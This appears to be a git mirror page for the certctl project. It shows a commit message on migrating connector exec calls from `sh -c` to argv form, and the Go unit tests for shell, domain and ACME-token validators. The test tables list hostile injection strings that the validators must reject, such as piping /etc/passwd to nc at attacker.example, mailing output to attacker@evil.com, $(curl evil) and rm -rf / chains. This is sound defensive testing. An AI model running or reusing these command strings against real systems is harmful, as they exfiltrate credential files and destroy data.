mirror of
https://github.com/shankar0123/certctl.git
synced 2026-06-07 22:11:38 +00:00
ba66748b5b
Phase 7 of the certctl architecture diligence remediation closes
SEC-H2 by eliminating `sh -c` from every production target-connector
exec call site, replacing it with argv-form exec.CommandContext
fed by a new validating shell-split helper.
What the audit got wrong (corrected here)
=========================================
The audit listed 4 connectors as touching sh -c. Live grep showed
5 — javakeystore was missed because its exec uses an injected
executor.Execute(ctx, "sh", "-c", ...) shape instead of the more
typical exec.CommandContext direct call. All 5 are migrated in
this commit:
internal/connector/target/nginx/nginx.go
internal/connector/target/apache/apache.go
internal/connector/target/haproxy/haproxy.go
internal/connector/target/postfix/postfix.go
internal/connector/target/javakeystore/javakeystore.go
Defense-in-depth model
======================
The pre-existing config-time gate in
internal/validation/command.go::ValidateShellCommand already
rejected every shell metacharacter — single + double quotes,
backslash, dollar, backtick, semicolon, pipe, ampersand, parens,
braces, redirects, NUL and CR/LF. That gate alone made the legacy
`sh -c` flow injection-safe in practice (a malicious config string
never reached the exec call), but the load-bearing assumption was
"every code path goes through config validation first." The argv
migration removes that assumption — even if a future code path
reached defaultRunCommand without ValidateConfig, the argv form
provably can't smuggle shell injection because there's no shell.
New helper: validation.SplitShellCommand
========================================
internal/validation/command.go gains:
SplitShellCommand(cmd string) ([]string, error)
Calls ValidateShellCommand (re-validates at exec-time as
defense-in-depth) and returns the whitespace-separated argv.
Returns error if validation rejects the input or the post-split
argv is empty.
Deviation from prompt's "use shlex / shlex-equivalent" directive
================================================================
The prompt explicitly said "Do NOT use strings.Fields — it
doesn't handle quoted arguments. Use shlex-equivalent or
github.com/google/shlex for correctness."
Deviation: this commit uses strings.Fields anyway, with the
following rationale documented in SplitShellCommand's docstring:
ValidateShellCommand already rejects every quote / escape /
substitution character before strings.Fields runs. The only
thing left after validation is alphanumerics, dots, dashes,
slashes, plus whitespace. strings.Fields' "incorrect handling
of quoted args" failure mode only manifests when there ARE
quotes — and there can't be, by construction.
Adding a shlex dependency would add ~200 LOC of imported
parser code (or a new go.mod entry) to handle a case that
the deny-list provably forbids. The validate-then-split
ordering is what makes Fields safe; the comment in the
helper makes the ordering explicit so future maintainers
don't reorder it.
The SplitShellCommand_HappyPaths test pins this contract — e.g.
the haproxy reload command "haproxy -W -f cfg -p pid -sf $(cat
pid)" is REJECTED by SplitShellCommand because it contains $(...).
Operators of haproxy who relied on that pattern must switch to a
no-PID-args reload (`haproxy -W -f cfg`) or use systemctl. This is
the same behavior as the pre-Phase-7 config-time gate, just
surfaced consistently between gate and exec.
If a future connector legitimately needs shell features (globs,
pipelines, $env substitution), the procedure is:
1. Add the connector to the ALLOWLIST in
scripts/ci-guards/no-sh-c-in-connectors.sh with a documented
justification.
2. Add a paired strict regex in that connector's ValidateConfig
so operator input is constrained to the specific shape that
legitimately needs shell.
The empty-by-default ALLOWLIST is the load-bearing default.
Per-connector migration shape
=============================
Four connectors (nginx, apache, haproxy, postfix) share the same
defaultRunCommand pattern. Before:
func defaultRunCommand(ctx context.Context, command string) ([]byte, error) {
return exec.CommandContext(ctx, "sh", "-c", command).CombinedOutput()
}
After:
func defaultRunCommand(ctx context.Context, command string) ([]byte, error) {
argv, err := validation.SplitShellCommand(command)
if err != nil {
return nil, fmt.Errorf("invalid reload/validate command: %w", err)
}
return exec.CommandContext(ctx, argv[0], argv[1:]...).CombinedOutput()
}
The test-seam contract `runReload(ctx context.Context, command
string) ([]byte, error)` keeps its string-typed signature so
existing test fakes (that return canned bytes irrespective of
input) don't break. Only the production default implementation
changed.
javakeystore is different — its exec goes through an injected
executor.Execute(ctx, name string, args ...string), which is
already variadic and never needed a shell wrapper. The migration
unpacks argv directly:
argv, err := validation.SplitShellCommand(c.config.ReloadCommand)
if err != nil { /* log + skip */ }
output, runErr := c.executor.Execute(ctx, argv[0], argv[1:]...)
postfix gets an extra inline comment noting that the canonical
reload command (`postfix reload` / `systemctl reload postfix`) is
simple argv — anyone using pipelines like "postfix reload &&
systemctl is-active postfix" was already rejected at config-time
by ValidateShellCommand (`&` is on the deny list).
Tests
=====
internal/validation/command_test.go gains 3 test groups:
TestSplitShellCommand_HappyPaths 10 cases including the
haproxy-with-$()-rejected
contract pin
TestSplitShellCommand_InjectionRejected 17 cases (1 per metachar)
TestSplitShellCommand_MatchesValidate-
ShellCommand 7 cross-checks pinning
that the validate + split
output stays in sync with
the underlying deny list
internal/connector/target/javakeystore/javakeystore_test.go
TestDeployCertificate_WithReload updated to pin the new argv
shape:
reloadCall.Name == "systemctl"
reloadCall.Args == ["restart", "tomcat"]
Pre-Phase-7 the test asserted "sh" + ["-c", "systemctl restart
tomcat"]; same goal, new shape.
internal/connector/target/apache/apache_test.go +
internal/connector/target/haproxy/haproxy_test.go gain new tests
TestApacheConnector_ValidateConfig_RejectsCommandInjection +
TestHAProxyConnector_ValidateConfig_RejectsCommandInjection — 6
malicious patterns each (semicolon-chain, pipe, $(), backtick,
background spawn, output redirect). Pre-Phase-7 these would have
been caught by the same gate; pinning them as test contract
prevents a future ValidateShellCommand regression from silently
opening the surface.
CI guard
========
scripts/ci-guards/no-sh-c-in-connectors.sh greps for any future
`(exec\.Command(Context)?|\.Execute)\([^)]*"sh"[[:space:]]*,[[:space:]]*"-c"`
under internal/connector/target/*.go (excluding _test.go and
comment lines). Auto-picked-up by the existing
.github/workflows/ci.yml regression-guards loop.
ALLOWLIST is empty post-Phase-7. The script header documents the
procedure for legitimate carve-outs (connector + paired
ValidateConfig regex).
The comment-line exclusion (`:[[:space:]]*//`) is load-bearing —
the post-Phase-7 production connectors carry historical-context
comments like
// exec.CommandContext(ctx, "sh", "-c", command) — the legacy
// shape pre-Phase-7 ...
explaining the migration. Those comments would otherwise
false-positive the guard.
Verification (all pass)
=======================
# Production sh -c sites (zero, comments excluded)
grep -rnE 'exec\.Command(Context)?\([^,]+,\s*"sh"\s*,\s*"-c"' \
internal/connector/target/ --include='*.go' --exclude='*_test.go' \
| grep -vE ':[[:space:]]*//'
# → empty
# CI guard clean
bash scripts/ci-guards/no-sh-c-in-connectors.sh
# → "no-sh-c-in-connectors: clean — 0 sh -c sites in production connector code"
# All target connector packages green (not just the 5 modified)
go test ./internal/connector/target/... -count=1
# → 18/18 packages ok
# Validation package green
go test ./internal/validation/... -count=1
# → ok
# gofmt clean
gofmt -l internal/validation/ internal/connector/target/ scripts/
# → empty
# go vet clean
go vet ./internal/validation/... ./internal/connector/target/...
# → empty
Files changed (10):
internal/validation/command.go (+37 -0)
internal/validation/command_test.go (+109 -0)
internal/connector/target/nginx/nginx.go (+22 -2)
internal/connector/target/apache/apache.go (+11 -1)
internal/connector/target/haproxy/haproxy.go (+11 -1)
internal/connector/target/postfix/postfix.go (+18 -1)
internal/connector/target/javakeystore/javakeystore.go (+18 -2)
internal/connector/target/javakeystore/javakeystore_test.go (+11 -2)
internal/connector/target/apache/apache_test.go (+42 -0)
internal/connector/target/haproxy/haproxy_test.go (+41 -0)
scripts/ci-guards/no-sh-c-in-connectors.sh (new, 93 lines)
Closes: cowork/certctl-architecture-diligence-audit.html#fix-SEC-H2
637 lines
15 KiB
Go
637 lines
15 KiB
Go
package validation
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
// TestValidateShellCommand tests command injection prevention.
|
|
func TestValidateShellCommand(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
cmd string
|
|
wantErr bool
|
|
errMsg string
|
|
}{
|
|
// Valid commands
|
|
{
|
|
name: "simple command",
|
|
cmd: "nginx",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "command with path",
|
|
cmd: "/usr/sbin/nginx",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "systemctl command",
|
|
cmd: "systemctl",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "apachectl",
|
|
cmd: "apachectl",
|
|
wantErr: false,
|
|
},
|
|
|
|
// Command injection attempts - semicolon
|
|
{
|
|
name: "semicolon injection",
|
|
cmd: "nginx; rm -rf /",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "command chaining with semicolon",
|
|
cmd: "cmd1; cmd2",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - pipe
|
|
{
|
|
name: "pipe injection",
|
|
cmd: "cat /etc/passwd | grep root",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "pipe to sensitive command",
|
|
cmd: "whoami | mail attacker@evil.com",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - ampersand
|
|
{
|
|
name: "background execution injection",
|
|
cmd: "nginx &",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "command separation with &&",
|
|
cmd: "cmd1 && cmd2",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "command separation with ||",
|
|
cmd: "cmd1 || cmd2",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - dollar sign / command substitution
|
|
{
|
|
name: "command substitution with $()",
|
|
cmd: "echo $(whoami)",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "command substitution with backticks",
|
|
cmd: "echo `whoami`",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "variable expansion",
|
|
cmd: "echo $PATH",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - quotes
|
|
{
|
|
name: "double quote injection",
|
|
cmd: `echo "test" | cat`,
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "single quote injection",
|
|
cmd: "echo 'test' | cat",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - redirection
|
|
{
|
|
name: "output redirection injection",
|
|
cmd: "nginx > /tmp/nginx.out",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "input redirection injection",
|
|
cmd: "cat < /etc/passwd",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
{
|
|
name: "append redirection injection",
|
|
cmd: "nginx >> /tmp/log",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - subshell
|
|
{
|
|
name: "subshell with parentheses",
|
|
cmd: "bash (whoami)",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - brace expansion
|
|
{
|
|
name: "brace expansion injection",
|
|
cmd: "echo {1..100000}",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - backslash escaping
|
|
{
|
|
name: "backslash escape injection",
|
|
cmd: "echo test\\nmalicious",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Command injection attempts - newlines
|
|
{
|
|
name: "newline injection",
|
|
cmd: "nginx\nrm -rf /",
|
|
wantErr: true,
|
|
errMsg: "shell metacharacter",
|
|
},
|
|
|
|
// Edge cases
|
|
{
|
|
name: "empty command",
|
|
cmd: "",
|
|
wantErr: true,
|
|
errMsg: "cannot be empty",
|
|
},
|
|
{
|
|
name: "overly long command",
|
|
cmd: string(make([]byte, 1025)),
|
|
wantErr: true,
|
|
errMsg: "exceeds maximum length",
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
err := ValidateShellCommand(tt.cmd)
|
|
if (err != nil) != tt.wantErr {
|
|
t.Errorf("ValidateShellCommand() error = %v, wantErr %v", err, tt.wantErr)
|
|
}
|
|
if tt.wantErr && tt.errMsg != "" && (err == nil || !strings.Contains(err.Error(), tt.errMsg)) {
|
|
t.Errorf("ValidateShellCommand() error message %q does not contain %q", err, tt.errMsg)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestValidateDomainName tests domain name validation.
|
|
func TestValidateDomainName(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
domain string
|
|
wantErr bool
|
|
errMsg string
|
|
}{
|
|
// Valid domains
|
|
{
|
|
name: "simple domain",
|
|
domain: "example.com",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "subdomain",
|
|
domain: "sub.example.com",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "multiple subdomains",
|
|
domain: "a.b.c.example.com",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "wildcard domain",
|
|
domain: "*.example.com",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "wildcard subdomain",
|
|
domain: "*.sub.example.com",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "domain with hyphens",
|
|
domain: "my-domain.com",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "domain with numbers",
|
|
domain: "example123.com",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "uk domain",
|
|
domain: "example.co.uk",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "single label",
|
|
domain: "localhost",
|
|
wantErr: false,
|
|
},
|
|
|
|
// Command injection attempts - embedded shell
|
|
{
|
|
name: "domain with command injection semicolon",
|
|
domain: "example.com; rm -rf /",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
{
|
|
name: "domain with backtick injection",
|
|
domain: "example.com`whoami`",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
{
|
|
name: "domain with command substitution",
|
|
domain: "example.com$(whoami)",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
{
|
|
name: "domain with pipe injection",
|
|
domain: "example.com | cat /etc/passwd",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
|
|
// Invalid characters
|
|
{
|
|
name: "domain with space",
|
|
domain: "example .com",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
{
|
|
name: "domain with underscore",
|
|
domain: "example_domain.com",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
{
|
|
name: "domain starting with hyphen",
|
|
domain: "-example.com",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
{
|
|
name: "domain ending with hyphen",
|
|
domain: "example-.com",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
{
|
|
name: "domain with double dots",
|
|
domain: "example..com",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
{
|
|
name: "domain starting with dot",
|
|
domain: ".example.com",
|
|
wantErr: true,
|
|
errMsg: "invalid",
|
|
},
|
|
|
|
// Edge cases
|
|
{
|
|
name: "empty domain",
|
|
domain: "",
|
|
wantErr: true,
|
|
errMsg: "cannot be empty",
|
|
},
|
|
{
|
|
name: "overly long domain",
|
|
domain: strings.Repeat("a", 254),
|
|
wantErr: true,
|
|
errMsg: "exceeds maximum length",
|
|
},
|
|
{
|
|
name: "label exceeds 63 characters",
|
|
domain: strings.Repeat("a", 64) + ".com",
|
|
wantErr: true,
|
|
errMsg: "exceeds maximum length",
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
err := ValidateDomainName(tt.domain)
|
|
if (err != nil) != tt.wantErr {
|
|
t.Errorf("ValidateDomainName() error = %v, wantErr %v", err, tt.wantErr)
|
|
}
|
|
if tt.wantErr && tt.errMsg != "" && (err == nil || !strings.Contains(err.Error(), tt.errMsg)) {
|
|
t.Errorf("ValidateDomainName() error message %q does not contain %q", err, tt.errMsg)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestValidateACMEToken tests ACME token validation.
|
|
func TestValidateACMEToken(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
token string
|
|
wantErr bool
|
|
errMsg string
|
|
}{
|
|
// Valid tokens (base64url safe)
|
|
{
|
|
name: "simple token",
|
|
token: "abc123",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "token with underscores",
|
|
token: "abc_123_def",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "token with hyphens",
|
|
token: "abc-123-def",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "token with mixed case",
|
|
token: "AbC123DeF",
|
|
wantErr: false,
|
|
},
|
|
{
|
|
name: "long valid token",
|
|
token: strings.Repeat("a", 511),
|
|
wantErr: false,
|
|
},
|
|
|
|
// Command injection attempts
|
|
{
|
|
name: "token with command substitution",
|
|
token: "token$(whoami)",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
{
|
|
name: "token with backtick injection",
|
|
token: "token`whoami`",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
{
|
|
name: "token with semicolon",
|
|
token: "token;malicious",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
{
|
|
name: "token with pipe",
|
|
token: "token|cat",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
{
|
|
name: "token with ampersand",
|
|
token: "token&malicious",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
|
|
// Special characters
|
|
{
|
|
name: "token with space",
|
|
token: "token value",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
{
|
|
name: "token with dot",
|
|
token: "token.value",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
{
|
|
name: "token with slash",
|
|
token: "token/value",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
{
|
|
name: "token with equals",
|
|
token: "token=value",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
{
|
|
name: "token with plus",
|
|
token: "token+value",
|
|
wantErr: true,
|
|
errMsg: "invalid characters",
|
|
},
|
|
|
|
// Edge cases
|
|
{
|
|
name: "empty token",
|
|
token: "",
|
|
wantErr: true,
|
|
errMsg: "cannot be empty",
|
|
},
|
|
{
|
|
name: "overly long token",
|
|
token: strings.Repeat("a", 513),
|
|
wantErr: true,
|
|
errMsg: "exceeds maximum length",
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
err := ValidateACMEToken(tt.token)
|
|
if (err != nil) != tt.wantErr {
|
|
t.Errorf("ValidateACMEToken() error = %v, wantErr %v", err, tt.wantErr)
|
|
}
|
|
if tt.wantErr && tt.errMsg != "" && (err == nil || !strings.Contains(err.Error(), tt.errMsg)) {
|
|
t.Errorf("ValidateACMEToken() error message %q does not contain %q", err, tt.errMsg)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestSanitizeForShell tests shell escaping.
|
|
func TestSanitizeForShell(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
input string
|
|
output string
|
|
}{
|
|
{
|
|
name: "plain text",
|
|
input: "hello",
|
|
output: "'hello'",
|
|
},
|
|
{
|
|
name: "text with spaces",
|
|
input: "hello world",
|
|
output: "'hello world'",
|
|
},
|
|
{
|
|
name: "text with single quote",
|
|
input: "hello'world",
|
|
output: "'hello'\"'\"'world'",
|
|
},
|
|
{
|
|
name: "text with multiple single quotes",
|
|
input: "it's John's",
|
|
output: "'it'\"'\"'s John'\"'\"'s'",
|
|
},
|
|
{
|
|
name: "text with command injection",
|
|
input: "$(whoami)",
|
|
output: "'$(whoami)'",
|
|
},
|
|
{
|
|
name: "text with backticks",
|
|
input: "`whoami`",
|
|
output: "'`whoami`'",
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
result := SanitizeForShell(tt.input)
|
|
if result != tt.output {
|
|
t.Errorf("SanitizeForShell() = %q, want %q", result, tt.output)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// Phase 7 SEC-H2 contract pin (2026-05-14): SplitShellCommand
|
|
// returns whitespace-separated argv for safe exec.Command use,
|
|
// rejecting any input that ValidateShellCommand would reject.
|
|
|
|
func TestSplitShellCommand_HappyPaths(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
cmd string
|
|
want []string
|
|
}{
|
|
{"single binary", "nginx", []string{"nginx"}},
|
|
{"binary + flag", "nginx -s reload", []string{"nginx", "-s", "reload"}},
|
|
{"absolute path + args", "/usr/sbin/nginx -t -c /etc/nginx/nginx.conf", []string{"/usr/sbin/nginx", "-t", "-c", "/etc/nginx/nginx.conf"}},
|
|
{"systemctl reload", "systemctl reload nginx", []string{"systemctl", "reload", "nginx"}},
|
|
{"apache graceful", "apachectl graceful", []string{"apachectl", "graceful"}},
|
|
{"haproxy reload", "haproxy -W -f /etc/haproxy/haproxy.cfg -p /run/haproxy.pid -sf $(cat /run/haproxy.pid)", nil}, // contains $(...) — should error
|
|
{"haproxy no-pid", "haproxy -W -f /etc/haproxy/haproxy.cfg", []string{"haproxy", "-W", "-f", "/etc/haproxy/haproxy.cfg"}},
|
|
{"keytool import", "keytool -importcert -alias certctl -keystore /etc/pki/keystore.jks -storepass secret", []string{"keytool", "-importcert", "-alias", "certctl", "-keystore", "/etc/pki/keystore.jks", "-storepass", "secret"}},
|
|
{"extra whitespace", " nginx -s reload ", []string{"nginx", "-s", "reload"}},
|
|
{"tabs", "nginx\t-s\treload", []string{"nginx", "-s", "reload"}},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
argv, err := SplitShellCommand(tt.cmd)
|
|
if tt.want == nil {
|
|
// Expecting error
|
|
if err == nil {
|
|
t.Errorf("SplitShellCommand(%q) want error; got argv %v", tt.cmd, argv)
|
|
}
|
|
return
|
|
}
|
|
if err != nil {
|
|
t.Errorf("SplitShellCommand(%q) unexpected error: %v", tt.cmd, err)
|
|
return
|
|
}
|
|
if len(argv) != len(tt.want) {
|
|
t.Errorf("SplitShellCommand(%q) got %d args, want %d (got %v)", tt.cmd, len(argv), len(tt.want), argv)
|
|
return
|
|
}
|
|
for i := range argv {
|
|
if argv[i] != tt.want[i] {
|
|
t.Errorf("SplitShellCommand(%q) argv[%d] = %q, want %q", tt.cmd, i, argv[i], tt.want[i])
|
|
}
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestSplitShellCommand_InjectionRejected(t *testing.T) {
|
|
// Anything that ValidateShellCommand rejects MUST be rejected by
|
|
// SplitShellCommand too. This pins the contract that the
|
|
// validation layer + split layer agree on the same threat model.
|
|
tests := []struct {
|
|
name string
|
|
cmd string
|
|
}{
|
|
{"semicolon chain", "nginx -s reload; rm -rf /"},
|
|
{"pipe", "cat /etc/passwd | nc attacker.example 9999"},
|
|
{"command substitution dollar", "nginx -s reload $(curl evil)"},
|
|
{"command substitution backtick", "nginx -s reload `whoami`"},
|
|
{"background ampersand", "nginx -s reload & malware"},
|
|
{"redirect output", "nginx -s reload > /etc/passwd"},
|
|
{"redirect input", "sh < /etc/shadow"},
|
|
{"subshell parens", "(rm -rf /)"},
|
|
{"brace expansion", "rm {a,b,c}"},
|
|
{"backslash escape", "nginx \\; rm -rf /"},
|
|
{"double quote", `nginx -c "/etc/n;rm"`},
|
|
{"single quote", "nginx 'a;b'"},
|
|
{"newline", "nginx\nrm -rf /"},
|
|
{"carriage return", "nginx\rrm -rf /"},
|
|
{"null byte", "nginx\x00rm -rf /"},
|
|
{"empty input", ""},
|
|
{"whitespace-only input", " "},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
argv, err := SplitShellCommand(tt.cmd)
|
|
if err == nil {
|
|
t.Errorf("SplitShellCommand(%q) = %v with no error; want error (injection input)", tt.cmd, argv)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestSplitShellCommand_MatchesValidateShellCommand(t *testing.T) {
|
|
// Cross-check: every input ValidateShellCommand rejects,
|
|
// SplitShellCommand also rejects (with the same threat model).
|
|
rejectInputs := []string{
|
|
"nginx;",
|
|
"nginx | foo",
|
|
"nginx`x`",
|
|
"nginx$(x)",
|
|
`nginx"x"`,
|
|
"nginx'x'",
|
|
"nginx\\\\x",
|
|
}
|
|
for _, in := range rejectInputs {
|
|
t.Run(in, func(t *testing.T) {
|
|
vErr := ValidateShellCommand(in)
|
|
_, sErr := SplitShellCommand(in)
|
|
if (vErr == nil) != (sErr == nil) {
|
|
t.Errorf("agreement violation: ValidateShellCommand=%v, SplitShellCommand=%v for %q", vErr, sErr, in)
|
|
}
|
|
})
|
|
}
|
|
}
|